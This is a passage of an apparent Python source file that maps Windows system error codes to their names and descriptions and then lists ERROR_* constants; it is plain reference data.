(\"ERROR_XML_ENCODING_MISMATCH\", \"The character encoding in the XML declaration did not match the encoding used in the document.\"),\n        0x00003715: (\"ERROR_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT\", \"The identities of the manifests are identical but their contents are different.\"),\n        0x00003716: (\"ERROR_SXS_IDENTITIES_DIFFERENT\", \"The component identities are different.\"),\n        0x00003717: (\"ERROR_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT\", \"The assembly is not a deployment.\"),\n        0x00003718: (\"ERROR_SXS_FILE_NOT_PART_OF_ASSEMBLY\", \"The file is not a part of the assembly.\"),\n        0x00003719: (\"ERROR_SXS_MANIFEST_TOO_BIG\", \"The size of the manifest exceeds the maximum allowed.\"),\n        0x0000371a: (\"ERROR_SXS_SETTING_NOT_REGISTERED\", \"The setting is not registered.\"),\n        0x0000371b: (\"ERROR_SXS_TRANSACTION_CLOSURE_INCOMPLETE\", \"One or more required members of the transaction are not present.\"),\n        0x0000371c: (\"ERROR_SMI_PRIMITIVE_INSTALLER_FAILED\", \"The SMI primitive installer failed during setup or servicing.\"),\n        0x0000371d: (\"ERROR_GENERIC_COMMAND_FAILED\", \"A generic command executable returned a result that indicates failure.\"),\n        0x0000371e: (\"ERROR_SXS_FILE_HASH_MISSING\", \"A component is missing file verification information in its manifest.\"),\n        0x00003a98: (\"ERROR_EVT_INVALID_CHANNEL_PATH\", \"The specified channel path is invalid.\"),\n        0x00003a99: (\"ERROR_EVT_INVALID_QUERY\", \"The specified query is invalid.\"),\n        0x00003a9a: (\"ERROR_EVT_PUBLISHER_METADATA_NOT_FOUND\", \"The publisher metadata cannot be found in the resource.\"),\n        0x00003a9b: (\"ERROR_EVT_EVENT_TEMPLATE_NOT_FOUND\", \"The template for an event definition cannot be found in the resource (error = %1).\"),\n        0x00003a9c: (\"ERROR_EVT_INVALID_PUBLISHER_NAME\", \"The specified publisher name is invalid.\"),\n        0x00003a9d: (\"ERROR_EVT_INVALID_EVENT_DATA\", \"The event data raised by the publisher is not compatible with the event template definition in the publisher's manifest\"),\n        0x00003a9f: (\"ERROR_EVT_CHANNEL_NOT_FOUND\", \"The specified channel could not be found. Check channel configuration.\"),\n        0x00003aa0: (\"ERROR_EVT_MALFORMED_XML_TEXT\", \"The specified xml text was not well-formed. See Extended Error for more details.\"),\n        0x00003aa1: (\"ERROR_EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL\", \"The caller is trying to subscribe to a direct channel which is not allowed. The events for a direct channel go directly to a logfile and cannot be subscribed to.\"),\n        0x00003aa2: (\"ERROR_EVT_CONFIGURATION_ERROR\", \"Configuration error.\"),\n        0x00003aa3: (\"ERROR_EVT_QUERY_RESULT_STALE\", \"The query result is stale / invalid. This may be due to the log being cleared or rolling over after the query result was created. Users should handle this code by releasing the query result object and reissuing the query.\"),\n        0x00003aa4: (\"ERROR_EVT_QUERY_RESULT_INVALID_POSITION\", \"Query result is currently at an invalid position.\"),\n        0x00003aa5: (\"ERROR_EVT_NON_VALIDATING_MSXML\", \"Registered MSXML doesn't support validation.\"),\n        0x00003aa6: (\"ERROR_EVT_FILTER_ALREADYSCOPED\", \"An expression can only be followed by a change of scope operation if it itself evaluates to a node set and is not already part of some other change of scope operation.\"),\n        0x00003aa7: (\"ERROR_EVT_FILTER_NOTELTSET\", \"Can't perform a step operation from a term that does not represent an element set.\"),\n        0x00003aa8: (\"ERROR_EVT_FILTER_INVARG\", \"Left hand side arguments to binary operators must be either attributes, nodes or variables and right hand side arguments must be constants.\"),\n        0x00003aa9: (\"ERROR_EVT_FILTER_INVTEST\", \"A step operation must involve either a node test or, in the case of a predicate, an algebraic expression against which to test each node in the node set identified by the preceding node set can be evaluated.\"),\n        0x00003aaa: (\"ERROR_EVT_FILTER_INVTYPE\", \"This data type is currently unsupported.\"),\n        0x00003aab: (\"ERROR_EVT_FILTER_PARSEERR\", \"A syntax error occurred at position %1!d!\"),\n        0x00003aac: (\"ERROR_EVT_FILTER_UNSUPPORTEDOP\", \"This operator is unsupported by this implementation of the filter.\"),\n        0x00003aad: (\"ERROR_EVT_FILTER_UNEXPECTEDTOKEN\", \"The token encountered was unexpected.\"),\n        0x00003aae: (\"ERROR_EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL\", \"The requested operation cannot be performed over an enabled direct channel. The channel must first be disabled before performing the requested operation.\"),\n        0x00003aaf: (\"ERROR_EVT_INVALID_CHANNEL_PROPERTY_VALUE\", \"Channel property %1!s! contains invalid value. The value has invalid type, is outside of valid range, can't be updated or is not supported by this type of channel.\"),\n        0x00003ab0: (\"ERROR_EVT_INVALID_PUBLISHER_PROPERTY_VALUE\", \"Publisher property %1!s! contains invalid value. The value has invalid type, is outside of valid range, can't be updated or is not supported by this type of publisher.\"),\n        0x00003ab1: (\"ERROR_EVT_CHANNEL_CANNOT_ACTIVATE\", \"The channel fails to activate.\"),\n        0x00003ab2: (\"ERROR_EVT_FILTER_TOO_COMPLEX\", \"The xpath expression exceeded supported complexity. Please symplify it or split it into two or more simple expressions.\"),\n        0x00003ab3: (\"ERROR_EVT_MESSAGE_NOT_FOUND\", \"the message resource is present but the message is not found in the string/message table\"),\n        0x00003ab4: (\"ERROR_EVT_MESSAGE_ID_NOT_FOUND\", \"The message id for the desired message could not be found.\"),\n        0x00003ab5: (\"ERROR_EVT_UNRESOLVED_VALUE_INSERT\", \"The substitution string for insert index (%1) could not be found.\"),\n        0x00003ab6: (\"ERROR_EVT_UNRESOLVED_PARAMETER_INSERT\", \"The description string for parameter reference (%1) could not be found.\"),\n        0x00003ab7: (\"ERROR_EVT_MAX_INSERTS_REACHED\", \"The maximum number of replacements has been reached.\"),\n        0x00003ab8: (\"ERROR_EVT_EVENT_DEFINITION_NOT_FOUND\", \"The event definition could not be found for event id (%1).\"),\n        0x00003ab9: (\"ERROR_EVT_MESSAGE_LOCALE_NOT_FOUND\", \"The locale specific resource for the desired message is not present.\"),\n        0x00003aba: (\"ERROR_EVT_VERSION_TOO_OLD\", \"The resource is too old to be compatible.\"),\n        0x00003abb: (\"ERROR_EVT_VERSION_TOO_NEW\", \"The resource is too new to be compatible.\"),\n        0x00003abc: (\"ERROR_EVT_CANNOT_OPEN_CHANNEL_OF_QUERY\", \"The channel at index %1!d! of the query can't be opened.\"),\n        0x00003abd: (\"ERROR_EVT_PUBLISHER_DISABLED\", \"The publisher has been disabled and its resource is not available. This usually occurs when the publisher is in the process of being uninstalled or upgraded.\"),\n        0x00003abe: (\"ERROR_EVT_FILTER_OUT_OF_RANGE\", \"Attempted to create a numeric type that is outside of its valid range.\"),\n        0x00003ae8: (\"ERROR_EC_SUBSCRIPTION_CANNOT_ACTIVATE\", \"The subscription fails to activate.\"),\n        0x00003ae9: (\"ERROR_EC_LOG_DISABLED\", \"The log of the subscription is in disabled state, and can not be used to forward events to. The log must first be enabled before the subscription can be activated.\"),\n        0x00003aea: (\"ERROR_EC_CIRCULAR_FORWARDING\", \"When forwarding events from local machine to itself, the query of the subscription can't contain target log of the subscription.\"),\n        0x00003aeb: (\"ERROR_EC_CREDSTORE_FULL\", \"The credential store that is used to save credentials is full.\"),\n        0x00003aec: (\"ERROR_EC_CRED_NOT_FOUND\", \"The credential used by this subscription can't be found in credential store.\"),\n        0x00003aed: (\"ERROR_EC_NO_ACTIVE_CHANNEL\", \"No active channel is found for the query.\"),\n        0x00003afc: (\"ERROR_MUI_FILE_NOT_FOUND\", \"The resource loader failed to find MUI file.\"),\n        0x00003afd: (\"ERROR_MUI_INVALID_FILE\", \"The resource loader failed to load MUI file because the file fail to pass validation.\"),\n        0x00003afe: (\"ERROR_MUI_INVALID_RC_CONFIG\", \"The RC Manifest is corrupted with garbage data or unsupported version or missing required item.\"),\n        0x00003aff: (\"ERROR_MUI_INVALID_LOCALE_NAME\", \"The RC Manifest has invalid culture name.\"),\n        0x00003b00: (\"ERROR_MUI_INVALID_ULTIMATEFALLBACK_NAME\", \"The RC Manifest has invalid ultimatefallback name.\"),\n        0x00003b01: (\"ERROR_MUI_FILE_NOT_LOADED\", \"The resource loader cache doesn't have loaded MUI entry.\"),\n        0x00003b02: (\"ERROR_RESOURCE_ENUM_USER_STOP\", \"User stopped resource enumeration.\"),\n        0x00003b03: (\"ERROR_MUI_INTLSETTINGS_UILANG_NOT_INSTALLED\", \"UI language installation failed.\"),\n        0x00003b04: (\"ERROR_MUI_INTLSETTINGS_INVALID_LOCALE_NAME\", \"Locale installation failed.\"),\n        0x00003b06: (\"ERROR_MRM_RUNTIME_NO_DEFAULT_OR_NEUTRAL_RESOURCE\", \"A resource does not have default or neutral value.\"),\n        0x00003b07: (\"ERROR_MRM_INVALID_PRICONFIG\", \"Invalid PRI config file.\"),\n        0x00003b08: (\"ERROR_MRM_INVALID_FILE_TYPE\", \"Invalid file type.\"),\n        0x00003b09: (\"ERROR_MRM_UNKNOWN_QUALIFIER\", \"Unknown qualifier.\"),\n        0x00003b0a: (\"ERROR_MRM_INVALID_QUALIFIER_VALUE\", \"Invalid qualifier value.\"),\n        0x00003b0b: (\"ERROR_MRM_NO_CANDIDATE\", \"No Candidate found.\"),\n        0x00003b0c: (\"ERROR_MRM_NO_MATCH_OR_DEFAULT_CANDIDATE\", \"The ResourceMap or NamedResource has an item that does not have default or neutral resource..\"),\n        0x00003b0d: (\"ERROR_MRM_RESOURCE_TYPE_MISMATCH\", \"Invalid ResourceCandidate type.\"),\n        0x00003b0e: (\"ERROR_MRM_DUPLICATE_MAP_NAME\", \"Duplicate Resource Map.\"),\n        0x00003b0f: (\"ERROR_MRM_DUPLICATE_ENTRY\", \"Duplicate Entry.\"),\n        0x00003b10: (\"ERROR_MRM_INVALID_RESOURCE_IDENTIFIER\", \"Invalid Resource Identifier.\"),\n        0x00003b11: (\"ERROR_MRM_FILEPATH_TOO_LONG\", \"Filepath too long.\"),\n        0x00003b12: (\"ERROR_MRM_UNSUPPORTED_DIRECTORY_TYPE\", \"Unsupported directory type.\"),\n        0x00003b16: (\"ERROR_MRM_INVALID_PRI_FILE\", \"Invalid PRI File.\"),\n        0x00003b17: (\"ERROR_MRM_NAMED_RESOURCE_NOT_FOUND\", \"NamedResource Not Found.\"),\n        0x00003b1f: (\"ERROR_MRM_MAP_NOT_FOUND\", \"ResourceMap Not Found.\"),\n        0x00003b20: (\"ERROR_MRM_UNSUPPORTED_PROFILE_TYPE\", \"Unsupported MRT profile type.\"),\n        0x00003b21: (\"ERROR_MRM_INVALID_QUALIFIER_OPERATOR\", \"Invalid qualifier operator.\"),\n        0x00003b22: (\"ERROR_MRM_INDETERMINATE_QUALIFIER_VALUE\", \"Unable to determine qualifier value or qualifier value has not been set.\"),\n        0x00003b23: (\"ERROR_MRM_AUTOMERGE_ENABLED\", \"Automerge is enabled in the PRI file.\"),\n        0x00003b24: (\"ERROR_MRM_TOO_MANY_RESOURCES\", \"Too many resources defined for package.\"),\n        0x00003b60: (\"ERROR_MCA_INVALID_CAPABILITIES_STRING\", \"The monitor returned a DDC/CI capabilities string that did not comply with the ACCESS.bus 3.0, DDC/CI 1.1 or MCCS 2 Revision 1 specification.\"),\n        0x00003b61: (\"ERROR_MCA_INVALID_VCP_VERSION\", \"The monitor's VCP Version (0xDF) VCP code returned an invalid version value.\"),\n        0x00003b62: (\"ERROR_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION\", \"The monitor does not comply with the MCCS specification it claims to support.\"),\n        0x00003b63: (\"ERROR_MCA_MCCS_VERSION_MISMATCH\", \"The MCCS version in a monitor's mccs_ver capability does not match the MCCS version the monitor reports when the VCP Version (0xDF) VCP code is used.\"),\n        0x00003b64: (\"ERROR_MCA_UNSUPPORTED_MCCS_VERSION\", \"The Monitor Configuration API only works with monitors that support the MCCS 1.0 specification, MCCS 2.0 specification or the MCCS 2.0 Revision 1 specification.\"),\n        0x00003b65: (\"ERROR_MCA_INTERNAL_ERROR\", \"An internal Monitor Configuration API error occurred.\"),\n        0x00003b66: (\"ERROR_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED\", \"The monitor returned an invalid monitor technology type. CRT, Plasma and LCD (TFT) are examples of monitor technology types. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification.\"),\n        0x00003b67: (\"ERROR_MCA_UNSUPPORTED_COLOR_TEMPERATURE\", \"The caller of SetMonitorColorTemperature specified a color temperature that the current monitor did not support. This error implies that the monitor violated the MCCS 2.0 or MCCS 2.0 Revision 1 specification.\"),\n        0x00003b92: (\"ERROR_AMBIGUOUS_SYSTEM_DEVICE\", \"The requested system device cannot be identified due to multiple indistinguishable devices potentially matching the identification criteria.\"),\n        0x00003bc3: (\"ERROR_SYSTEM_DEVICE_NOT_FOUND\", \"The requested system device cannot be found.\"),\n        0x00003bc4: (\"ERROR_HASH_NOT_SUPPORTED\", \"Hash generation for the specified hash version and hash type is not enabled on the server.\"),\n        0x00003bc5: (\"ERROR_HASH_NOT_PRESENT\", \"The hash requested from the server is not available or no longer valid.\"),\n        0x00003bd9: (\"ERROR_SECONDARY_IC_PROVIDER_NOT_REGISTERED\", \"The secondary interrupt controller instance that manages the specified interrupt is not registered.\"),\n        0x00003bda: (\"ERROR_GPIO_CLIENT_INFORMATION_INVALID\", \"The information supplied by the GPIO client driver is invalid.\"),\n        0x00003bdb: (\"ERROR_GPIO_VERSION_NOT_SUPPORTED\", \"The version specified by the GPIO client driver is not supported.\"),\n        0x00003bdc: (\"ERROR_GPIO_INVALID_REGISTRATION_PACKET\", \"The registration packet supplied by the GPIO client driver is not valid.\"),\n        0x00003bdd: (\"ERROR_GPIO_OPERATION_DENIED\", \"The requested operation is not supported for the specified handle.\"),\n        0x00003bde: (\"ERROR_GPIO_INCOMPATIBLE_CONNECT_MODE\", \"The requested connect mode conflicts with an existing mode on one or more of the specified pins.\"),\n        0x00003bdf: (\"ERROR_GPIO_INTERRUPT_ALREADY_UNMASKED\", \"The interrupt requested to be unmasked is not masked.\"),\n        0x00003c28: (\"ERROR_CANNOT_SWITCH_RUNLEVEL\", \"The requested run level switch cannot be completed successfully.\"),\n        0x00003c29: (\"ERROR_INVALID_RUNLEVEL_SETTING\", \"The service has an invalid run level setting. The run level for a service\"),\n        0x00003c2a: (\"ERROR_RUNLEVEL_SWITCH_TIMEOUT\", \"The requested run level switch cannot be completed successfully since\"),\n        0x00003c2b: (\"ERROR_RUNLEVEL_SWITCH_AGENT_TIMEOUT\", \"A run level switch agent did not respond within the specified timeout.\"),\n        0x00003c2c: (\"ERROR_RUNLEVEL_SWITCH_IN_PROGRESS\", \"A run level switch is currently in progress.\"),\n        0x00003c2d: (\"ERROR_SERVICES_FAILED_AUTOSTART\", \"One or more services failed to start during the service startup phase of a run level switch.\"),\n        0x00003c8d: (\"ERROR_COM_TASK_STOP_PENDING\", \"The task stop request cannot be completed immediately since\"),\n        0x00003cf0: (\"ERROR_INSTALL_OPEN_PACKAGE_FAILED\", \"Package could not be opened.\"),\n        0x00003cf1: (\"ERROR_INSTALL_PACKAGE_NOT_FOUND\", \"Package was not found.\"),\n        0x00003cf2: (\"ERROR_INSTALL_INVALID_PACKAGE\", \"Package data is invalid.\"),\n        0x00003cf3: (\"ERROR_INSTALL_RESOLVE_DEPENDENCY_FAILED\", \"Package failed updates, dependency or conflict validation.\"),\n        0x00003cf4: (\"ERROR_INSTALL_OUT_OF_DISK_SPACE\", \"There is not enough disk space on your computer. Please free up some space and try again.\"),\n        0x00003cf5: (\"ERROR_INSTALL_NETWORK_FAILURE\", \"There was a problem downloading your product.\"),\n        0x00003cf6: (\"ERROR_INSTALL_REGISTRATION_FAILURE\", \"Package could not be registered.\"),\n        0x00003cf7: (\"ERROR_INSTALL_DEREGISTRATION_FAILURE\", \"Package could not be unregistered.\"),\n        0x00003cf8: (\"ERROR_INSTALL_CANCEL\", \"User cancelled the install request.\"),\n        0x00003cf9: (\"ERROR_INSTALL_FAILED\", \"Install failed. Please contact your software vendor.\"),\n        0x00003cfa: (\"ERROR_REMOVE_FAILED\", \"Removal failed. Please contact your software vendor.\"),\n        0x00003cfb: (\"ERROR_PACKAGE_ALREADY_EXISTS\", \"The provided package is already installed, and reinstallation of the package was blocked. Check the AppXDeployment-Server event log for details.\"),\n        0x00003cfc: (\"ERROR_NEEDS_REMEDIATION\", \"The application cannot be started. Try reinstalling the application to fix the problem.\"),\n        0x00003cfd: (\"ERROR_INSTALL_PREREQUISITE_FAILED\", \"A Prerequisite for an install could not be satisfied.\"),\n        0x00003cfe: (\"ERROR_PACKAGE_REPOSITORY_CORRUPTED\", \"The package repository is corrupted.\"),\n        0x00003cff: (\"ERROR_INSTALL_POLICY_FAILURE\", \"To install this application you need either a Windows developer license or a sideloading-enabled system.\"),\n        0x00003d00: (\"ERROR_PACKAGE_UPDATING\", \"The application cannot be started because it is currently updating.\"),\n        0x00003d01: (\"ERROR_DEPLOYMENT_BLOCKED_BY_POLICY\", \"The package deployment operation is blocked by policy. Please contact your system administrator.\"),\n        0x00003d02: (\"ERROR_PACKAGES_IN_USE\", \"The package could not be installed because resources it modifies are currently in use.\"),\n        0x00003d03: (\"ERROR_RECOVERY_FILE_CORRUPT\", \"The package could not be recovered because necessary data for recovery have been corrupted.\"),\n        0x00003d04: (\"ERROR_INVALID_STAGED_SIGNATURE\", \"The signature is invalid. To register in developer mode, AppxSignature.p7x and AppxBlockMap.xml must be valid or should not be present.\"),\n        0x00003d05: (\"ERROR_DELETING_EXISTING_APPLICATIONDATA_STORE_FAILED\", \"An error occurred while deleting the package's previously existing application data.\"),\n        0x00003d06: (\"ERROR_INSTALL_PACKAGE_DOWNGRADE\", \"The package could not be installed because a higher version of this package is already installed.\"),\n        0x00003d07: (\"ERROR_SYSTEM_NEEDS_REMEDIATION\", \"An error in a system binary was detected. Try refreshing the PC to fix the problem.\"),\n        0x00003d08: (\"ERROR_APPX_INTEGRITY_FAILURE_CLR_NGEN\", \"A corrupted CLR NGEN binary was detected on the system.\"),\n        0x00003d09: (\"ERROR_RESILIENCY_FILE_CORRUPT\", \"The operation could not be resumed because necessary data for recovery have been corrupted.\"),\n        0x00003d0a: (\"ERROR_INSTALL_FIREWALL_SERVICE_NOT_RUNNING\", \"The package could not be installed because the Windows Firewall service is not running. Enable the Windows Firewall service and try again.\"),\n        0x00003d54: (\"APPMODEL_ERROR_NO_PACKAGE\", \"The process has no package identity.\"),\n        0x00003d55: (\"APPMODEL_ERROR_PACKAGE_RUNTIME_CORRUPT\", \"The package runtime information is corrupted.\"),\n        0x00003d56: (\"APPMODEL_ERROR_PACKAGE_IDENTITY_CORRUPT\", \"The package identity is corrupted.\"),\n        0x00003d57: (\"APPMODEL_ERROR_NO_APPLICATION\", \"The process has no application identity.\"),\n        0x00003db8: (\"ERROR_STATE_LOAD_STORE_FAILED\", \"Loading the state store failed.\"),\n        0x00003db9: (\"ERROR_STATE_GET_VERSION_FAILED\", \"Retrieving the state version for the application failed.\"),\n        0x00003dba: (\"ERROR_STATE_SET_VERSION_FAILED\", \"Setting the state version for the application failed.\"),\n        0x00003dbb: (\"ERROR_STATE_STRUCTURED_RESET_FAILED\", \"Resetting the structured state of the application failed.\"),\n        0x00003dbc: (\"ERROR_STATE_OPEN_CONTAINER_FAILED\", \"State Manager failed to open the container.\"),\n        0x00003dbd: (\"ERROR_STATE_CREATE_CONTAINER_FAILED\", \"State Manager failed to create the container.\"),\n        0x00003dbe: (\"ERROR_STATE_DELETE_CONTAINER_FAILED\", \"State Manager failed to delete the container.\"),\n        0x00003dbf: (\"ERROR_STATE_READ_SETTING_FAILED\", \"State Manager failed to read the setting.\"),\n        0x00003dc0: (\"ERROR_STATE_WRITE_SETTING_FAILED\", \"State Manager failed to write the setting.\"),\n        0x00003dc1: (\"ERROR_STATE_DELETE_SETTING_FAILED\", \"State Manager failed to delete the setting.\"),\n        0x00003dc2: (\"ERROR_STATE_QUERY_SETTING_FAILED\", \"State Manager failed to query the setting.\"),\n        0x00003dc3: (\"ERROR_STATE_READ_COMPOSITE_SETTING_FAILED\", \"State Manager failed to read the composite setting.\"),\n        0x00003dc4: (\"ERROR_STATE_WRITE_COMPOSITE_SETTING_FAILED\", \"State Manager failed to write the composite setting.\"),\n        0x00003dc5: (\"ERROR_STATE_ENUMERATE_CONTAINER_FAILED\", \"State Manager failed to enumerate the containers.\"),\n        0x00003dc6: (\"ERROR_STATE_ENUMERATE_SETTINGS_FAILED\", \"State Manager failed to enumerate the settings.\"),\n        0x00003dc7: (\"ERROR_STATE_COMPOSITE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED\", \"The size of the state manager composite setting value has exceeded the limit.\"),\n        0x00003dc8: (\"ERROR_STATE_SETTING_VALUE_SIZE_LIMIT_EXCEEDED\", \"The size of the state manager setting value has exceeded the limit.\"),\n        0x00003dc9: (\"ERROR_STATE_SETTING_NAME_SIZE_LIMIT_EXCEEDED\", \"The length of the state manager setting name has exceeded the limit.\"),\n        0x00003dca: (\"ERROR_STATE_CONTAINER_NAME_SIZE_LIMIT_EXCEEDED\", \"The length of the state manager container name has exceeded the limit.\"),\n        0x00003de1: (\"ERROR_API_UNAVAILABLE\", \"This API cannot be used in the context of the caller's application type.\"),\n        0x00003df5: (\"STORE_ERROR_UNLICENSED\", \"This PC does not have a valid license for the application or product.\"),\n        0x00003df6: (\"STORE_ERROR_UNLICENSED_USER\", \"The authenticated user does not have a valid license for the application or product.\"),\n}\n\n\n# Error Codes\n\nERROR_SUCCESS                                                            = 0x00000000\nERROR_INVALID_FUNCTION                                                   = 0x00000001\nERROR_FILE_NOT_FOUND                                                     = 0x00000002\nERROR_PATH_NOT_FOUND                                                     = 0x00000003\nERROR_TOO_MANY_OPEN_FILES                                                = 0x00000004\nERROR_ACCESS_DENIED                                                      = 0x00000005\nERROR_INVALID_HANDLE                                                     = 0x00000006\nERROR_ARENA_TRASHED                                                      = 0x00000007\nERROR_NOT_ENOUGH_MEMORY                                                  = 0x00000008\nERROR_INVALID_BLOCK                                                      = 0x00000009\nERROR_BAD_ENVIRONMENT                                                    = 0x0000000a\nERROR_BAD_FORMAT                                                         = 0x0000000b\nERROR_INVALID_ACCESS                                                     = 0x0000000c\nERROR_INVALID_DATA                                                       = 0x0000000d\nERROR_OUTOFMEMORY                                                        = 0x0000000e\nERROR_INVALID_DRIVE                                                      = 0x0000000f\nERROR_CURRENT_DIRECTORY                                                  = 0x00000010\nERROR_NOT_SAME_DEVICE                                                    = 0x00000011\nERROR_NO_MORE_FILES                                                      = 0x00000012\nERROR_WRITE_PROTECT                                                      = 0x00000013\nERROR_BAD_UNIT                                                           = 0x00000014\nERROR_NOT_READY                                                          = 0x00000015\nERROR_BAD_COMMAND                                                        = 0x00000016\nERROR_CRC                                                                = 0x00000017\nERROR_BAD_LENGTH                                                         = 0x00000018\nERROR_SEEK                                                               = 0x00000019\nERROR_NOT_DOS_DISK                                                       = 0x0000001a\nERROR_SECTOR_NOT_FOUND                                                   = 0x0000001b\nERROR_OUT_OF_PAPER                                                       = 0x0000001c\nERROR_WRITE_FAULT                                                        = 0x0000001d\nERROR_READ_FAULT                                                         = 0x0000001e\nERROR_GEN_FAILURE                                                        = 0x0000001f\nERROR_SHARING_VIOLATION                                                  = 0x00000020\nERROR_LOCK_VIOLATION                                                     = 0x00000021\nERROR_WRONG_DISK                                                         = 0x00000022\nERROR_SHARING_BUFFER_EXCEEDED                                            = 0x00000024\nERROR_HANDLE_EOF                                                         = 0x00000026\nERROR_HANDLE_DISK_FULL                                                   = 0x00000027\nERROR_NOT_SUPPORTED                                                      = 0x00000032\nERROR_REM_NOT_LIST                                                       = 0x00000033\nERROR_DUP_NAME                                                           = 0x00000034\nERROR_BAD_NETPATH                                                        = 0x00000035\nERROR_NETWORK_BUSY                                                       = 0x00000036\nERROR_DEV_NOT_EXIST                                                      = 0x00000037\nERROR_TOO_MANY_CMDS                                                      = 0x00000038\nERROR_ADAP_HDW_ERR                                                       = 0x00000039\nERROR_BAD_NET_RESP                                                       = 0x0000003a\nERROR_UNEXP_NET_ERR                                                      = 0x0000003b\nERROR_BAD_REM_ADAP                                                       = 0x0000003c\nERROR_PRINTQ_FULL                                                        = 0x0000003d\nERROR_NO_SPOOL_SPACE                                                     = 0x0000003e\nERROR_PRINT_CANCELLED                                                    = 0x0000003f\nERROR_NETNAME_DELETED                                                    = 0x00000040\nERROR_NETWORK_ACCESS_DENIED                                              = 0x00000041\nERROR_BAD_DEV_TYPE                                                       = 0x00000042\nERROR_BAD_NET_NAME                                                       = 0x00000043\nERROR_TOO_MANY_NAMES                                                     = 0x00000044\nERROR_TOO_MANY_SESS                                                      = 0x00000045\nERROR_SHARING_PAUSED                                                     = 0x00000046\nERROR_REQ_NOT_ACCEP                                                      = 0x00000047\nERROR_REDIR_PAUSED                                                       = 0x00000048\nERROR_FILE_EXISTS                                                        = 0x00000050\nERROR_CANNOT_MAKE                                                        = 0x00000052\nERROR_FAIL_I24                                                           = 0x00000053\nERROR_OUT_OF_STRUCTURES                                                  = 0x00000054\nERROR_ALREADY_ASSIGNED                                                   = 0x00000055\nERROR_INVALID_PASSWORD                                                   = 0x00000056\nERROR_INVALID_PARAMETER                                                  = 0x00000057\nERROR_NET_WRITE_FAULT                                                    = 0x00000058\nERROR_NO_PROC_SLOTS                                                      = 0x00000059\nERROR_TOO_MANY_SEMAPHORES                                                = 0x00000064\nERROR_EXCL_SEM_ALREADY_OWNED                                             = 0x00000065\nERROR_SEM_IS_SET                                                         = 0x00000066\nERROR_TOO_MANY_SEM_REQUESTS                                              = 0x00000067\nERROR_INVALID_AT_INTERRUPT_TIME                                          = 0x00000068\nERROR_SEM_OWNER_DIED                                                     = 0x00000069\nERROR_SEM_USER_LIMIT                                                     = 0x0000006a\nERROR_DISK_CHANGE                                                        = 0x0000006b\nERROR_DRIVE_LOCKED                                                       = 0x0000006c\nERROR_BROKEN_PIPE                                                        = 0x0000006d\nERROR_OPEN_FAILED                                                        = 0x0000006e\nERROR_BUFFER_OVERFLOW                                                    = 0x0000006f\nERROR_DISK_FULL                                                          = 0x00000070\nERROR_NO_MORE_SEARCH_HANDLES                                             = 0x00000071\nERROR_INVALID_TARGET_HANDLE                                              = 0x00000072\nERROR_INVALID_CATEGORY                                                   = 0x00000075\nERROR_INVALID_VERIFY_SWITCH                                              = 0x00000076\nERROR_BAD_DRIVER_LEVEL                                                   = 0x00000077\nERROR_CALL_NOT_IMPLEMENTED                                               = 0x00000078\nERROR_SEM_TIMEOUT                                                        = 0x00000079\nERROR_INSUFFICIENT_BUFFER                                                = 0x0000007a\nERROR_INVALID_NAME                                                       = 0x0000007b\nERROR_INVALID_LEVEL                                                      = 0x0000007c\nERROR_NO_VOLUME_LABEL                                                    = 0x0000007d\nERROR_MOD_NOT_FOUND                                                      = 0x0000007e\nERROR_PROC_NOT_FOUND                                                     = 0x0000007f\nERROR_WAIT_NO_CHILDREN                                                   = 0x00000080\nERROR_CHILD_NOT_COMPLETE                                                 = 0x00000081\nERROR_DIRECT_ACCESS_HANDLE                                               = 0x00000082\nERROR_NEGATIVE_SEEK                                                      = 0x00000083\nERROR_SEEK_ON_DEVICE                                                     = 0x00000084\nERROR_IS_JOIN_TARGET                                                     = 0x00000085\nERROR_IS_JOINED                                                          = 0x00000086\nERROR_IS_SUBSTED                                                         = 0x00000087\nERROR_NOT_JOINED                                                         = 0x00000088\nERROR_NOT_SUBSTED                                                        = 0x00000089\nERROR_JOIN_TO_JOIN                                                       = 0x0000008a\nERROR_SUBST_TO_SUBST                                                     = 0x0000008b\nERROR_JOIN_TO_SUBST                                                      = 0x0000008c\nERROR_SUBST_TO_JOIN                                                      = 0x0000008d\nERROR_BUSY_DRIVE                                                         = 0x0000008e\nERROR_SAME_DRIVE                                                         = 0x0000008f\nERROR_DIR_NOT_ROOT                                                       = 0x00000090\nERROR_DIR_NOT_EMPTY                                                      = 0x00000091\nERROR_IS_SUBST_PATH                                                      = 0x00000092\nERROR_IS_JOIN_PATH                                                       = 0x00000093\nERROR_PATH_BUSY                                                          = 0x00000094\nERROR_IS_SUBST_TARGET                                                    = 0x00000095\nERROR_SYSTEM_TRACE                                                       = 0x00000096\nERROR_INVALID_EVENT_COUNT                                                = 0x00000097\nERROR_TOO_MANY_MUXWAITERS                                                = 0x00000098\nERROR_INVALID_LIST_FORMAT                                                = 0x00000099\nERROR_LABEL_TOO_LONG                                                     = 0x0000009a\nERROR_TOO_MANY_TCBS                                                      = 0x0000009b\nERROR_SIGNAL_REFUSED                                                     = 0x0000009c\nERROR_DISCARDED                                                          = 0x0000009d\nERROR_NOT_LOCKED                                                         = 0x0000009e\nERROR_BAD_THREADID_ADDR                                                  = 0x0000009f\nERROR_BAD_ARGUMENTS                                                      = 0x000000a0\nERROR_BAD_PATHNAME                                                       = 0x000000a1\nERROR_SIGNAL_PENDING                                                     = 0x000000a2\nERROR_MAX_THRDS_REACHED                                                  = 0x000000a4\nERROR_LOCK_FAILED                                                        = 0x000000a7\nERROR_BUSY                                                               = 0x000000aa\nERROR_DEVICE_SUPPORT_IN_PROGRESS                                         = 0x000000ab\nERROR_CANCEL_VIOLATION                                                   = 0x000000ad\nERROR_ATOMIC_LOCKS_NOT_SUPPORTED                                         = 0x000000ae\nERROR_INVALID_SEGMENT_NUMBER                                             = 0x000000b4\nERROR_INVALID_ORDINAL                                                    = 0x000000b6\nERROR_ALREADY_EXISTS                                                     = 0x000000b7\nERROR_INVALID_FLAG_NUMBER                                                = 0x000000ba\nERROR_SEM_NOT_FOUND                                                      = 0x000000bb\nERROR_INVALID_STARTING_CODESEG                                           = 0x000000bc\nERROR_INVALID_STACKSEG                                                   = 0x000000bd\nERROR_INVALID_MODULETYPE                                                 = 